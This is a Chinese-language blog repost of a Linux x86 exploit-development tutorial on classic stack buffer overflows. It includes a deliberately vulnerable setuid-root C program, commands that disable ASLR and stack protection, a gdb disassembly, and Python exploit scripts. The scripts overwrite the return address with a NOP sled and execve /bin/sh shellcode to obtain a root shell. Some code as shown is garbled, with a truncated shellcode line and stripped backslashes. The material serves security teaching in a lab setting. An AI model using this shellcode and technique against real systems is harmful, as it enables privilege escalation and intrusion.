zoukankan      html  css  js  c++  java
  • Linux Exploit系列之一 典型的基于堆栈的缓冲区溢出

    Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)

    Note:本文大部分来自于看雪hackyzh的中文翻译,加入了一些自己的理解

     典型的基于堆栈的缓冲区溢出

    虚拟机安装:Ubuntu 12.04(x86)

    这个帖子是最简单的漏洞开发教程系列,在互联网上你可以找到很多关于它的文章。尽管它丰富和熟悉,我更喜欢自己写博客文章,因为它将作为我未来许多职位的先决条件!

    什么是缓冲区溢出?

    将源缓冲区复制到目标缓冲区可能导致溢出

    1、源字符串长度大于目标字符串长度。

    2、不进行大小检查。

    缓冲区溢出有两种类型:

    1、基于堆栈的缓冲区溢出 - 这里的目标缓冲区位于堆栈中

    2、基于堆的缓冲区溢出 - 这里的目标缓冲区位于堆中

    在这篇文章中,我将只讨论基于堆栈的缓冲区溢出。堆溢出将在Linux(x86)漏洞开发教程系列的 “3级”中讨论!

    缓冲区溢出错误导致任意代码执行!

    什么是任意代码执行?

    任意代码执行允许攻击者执行他的代码以获得对受害机器的控制。受害机器的控制是通过多种方式实现的,例如产生根shell,添加新用户,打开网口等...

    听起来很有趣,足够的定义让我们看看缓冲区溢出攻击的代码!

    漏洞代码

    1 //vuln.c
    2 #include <stdio.h>
    3 #include <string.h>
    4 int main(int argc, char* argv[]) {
    5         /* [1] */ char buf[256];
    6         /* [2] */ strcpy(buf,argv[1]);
    7         /* [3] */ printf("Input:%s
    ",buf);
    8         return 0;
    9 }

    编译代码

    #echo 0 > /proc/sys/kernel/randomize_va_space
    $gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
    $sudo chown root vuln
    $sudo chgrp root vuln
    $sudo chmod +s vuln

    上述漏洞代码的[2]行显示了缓冲区溢出错误。这个bug可能导致任意代码执行,因为源缓冲区内容是用户输入的!

    如何执行任意代码执行?

    使用称为“ 返回地址覆盖 ”的技术实现任意代码执行。这种技术有助于攻击者覆盖位于堆栈中的“返回地址”,并且这种覆盖将导致任意代码执行。

    在研究漏洞代码之前,为了更好的理解,让我们反汇编并且绘制出漏洞代码的堆栈布局。

    反汇编

     1 (gdb) disassemble main
     2 Dump of assembler code for function main:
     3    //Function Prologue
     4    0x08048414 <+0>:push   %ebp                      //backup caller's ebp
     5    0x08048415 <+1>:mov    %esp,%ebp                 //set callee's ebp to esp
     6    0x08048417 <+3>:and    $0xfffffff0,%esp          //栈对齐
     7    0x0804841a <+6>:sub    $0x110,%esp               //stack space for local variables
     8    0x08048420 <+12>:mov    0xc(%ebp),%eax            //eax = argv
     9    0x08048423 <+15>:add    $0x4,%eax                 //eax = &argv[1]
    10    0x08048426 <+18>:mov    (%eax),%eax               //eax = argv[1]
    11    0x08048428 <+20>:mov    %eax,0x4(%esp)            //strcpy arg2 
    12    0x0804842c <+24>:lea    0x10(%esp),%eax           //eax = 'buf' 
    13    0x08048430 <+28>:mov    %eax,(%esp)               //strcpy arg1
    14    0x08048433 <+31>:call   0x8048330 <strcpy@plt>    //call strcpy
    15    0x08048438 <+36>:mov    $0x8048530,%eax           //eax = format str "Input:%s
    "
    16    0x0804843d <+41>:lea    0x10(%esp),%edx           //edx = buf
    17    0x08048441 <+45>:mov    %edx,0x4(%esp)            //printf arg2
    18    0x08048445 <+49>:mov    %eax,(%esp)               //printf arg1
    19    0x08048448 <+52>:call   0x8048320 <printf@plt>    //call printf
    20    0x0804844d <+57>:mov    $0x0,%eax                 //return value 0
    21    //Function Epilogue
    22    0x08048452 <+62>:leave                            //mov ebp, esp; pop ebp; 
    23    0x08048453 <+63>:ret                              //return
    24 End of assembler dump.
    25 (gdb)

    原文地址:https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-tutorial-series/

    这个地方需要特殊说明一下,原作者使用的是Ubuntu 12.04 LTS 32位版本的系统,GCC的版本未知,反汇编的代码是这样的,我使用Ubuntu 14.04 32位系统,GCC版本4.8.2,disassemble后的代码不是这样,但是功能是一样的,所以不做更多解释,大家按照原作者和hackyzh的翻译来读是没有什么问题的

    翻译的文章是https://bbs.pediy.com/thread-216868.htm

    好烦,不想粘贴过来,大家看原文的,我就写下我自己的有些地方的理解,和原文会给大家造成的误解进行解释。

    攻击代码原来是这样的:

     1 #exp.py 
     2 #!/usr/bin/env python
     3 import struct
     4 from subprocess import call
     5 #Stack address where shellcode is copied.
     6 ret_addr = 0xbffff1d0       
     7                
     8 #Spawn a shell
     9 #execve(/bin/sh)
    10 scode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x89xe2x53x89xe1xb0x0bxcdx80"
    11 #endianess convertion
    12 def conv(num):
    13  return struct.pack("<I",numnk + RA + NOP's + Shellcode
    14 buf = "A" * 268
    15 buf += conv(ret_addr)
    16 buf += "x90" * 100
    17 buf += scode
    18 print "Calling vulnerable program"
    19 call(["./vuln", buf])

    第13行的return struct.pack("<I",numnk + RA + NOP's + Shellcode 很明显是不对的,这里原文作者是大神,都懒得解释,直接抛个错误让我们自己玩,hackyzh也是大神,也懒得解释。

    这里是返回二进制的意思,正确的写法应该是:

    return struct.pack("<I",num) #nk + RA + NOP's + Shellcode

    还有一个地方是返回地址的地方,这个地方大神们也懒得解释了,看雪论坛也有人在猜这个地方,我觉得可以这样解释。

    在我的机器上buf的地址(所谓的&buf)是0xbffff340,这样ret_addr=0xbffff340+0x10c+0x4+0x64=0xbffff654。

    之后就可以成功获得root权限。

    最后附上我的exp.py文件

    #exp.py 
    #!/usr/bin/env python
    import struct
    from subprocess import call
    #Stack address where shellcode is copied.
    ret_addr = 0xbffff654
    
    #Spawn a shell
    #execve(/bin/sh)
    scode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3$
    #endianess convertion
    def conv(num):
     return struct.pack("<I",num)#nk + RA + NOP's + Shellcode
    buf = "A" * 268
    buf += conv(ret_addr)
    buf += "x90" * 100
    buf += scode
    print "Calling vulnerable program"
    call(["./vuln", buf])
  • 相关阅读:
    http协议
    db2 将逗号分隔数据转换为多值IN列表
    jquery deferred
    ps -ef|grep htpd|wd -l
    mysql 触发器
    css 五角星 (转)
    java 问题
    浏览器假死
    js math atan2
    CSS伪类选择器
  • 原文地址:https://www.cnblogs.com/jourluohua/p/8992480.html
Copyright © 2011-2022 走看看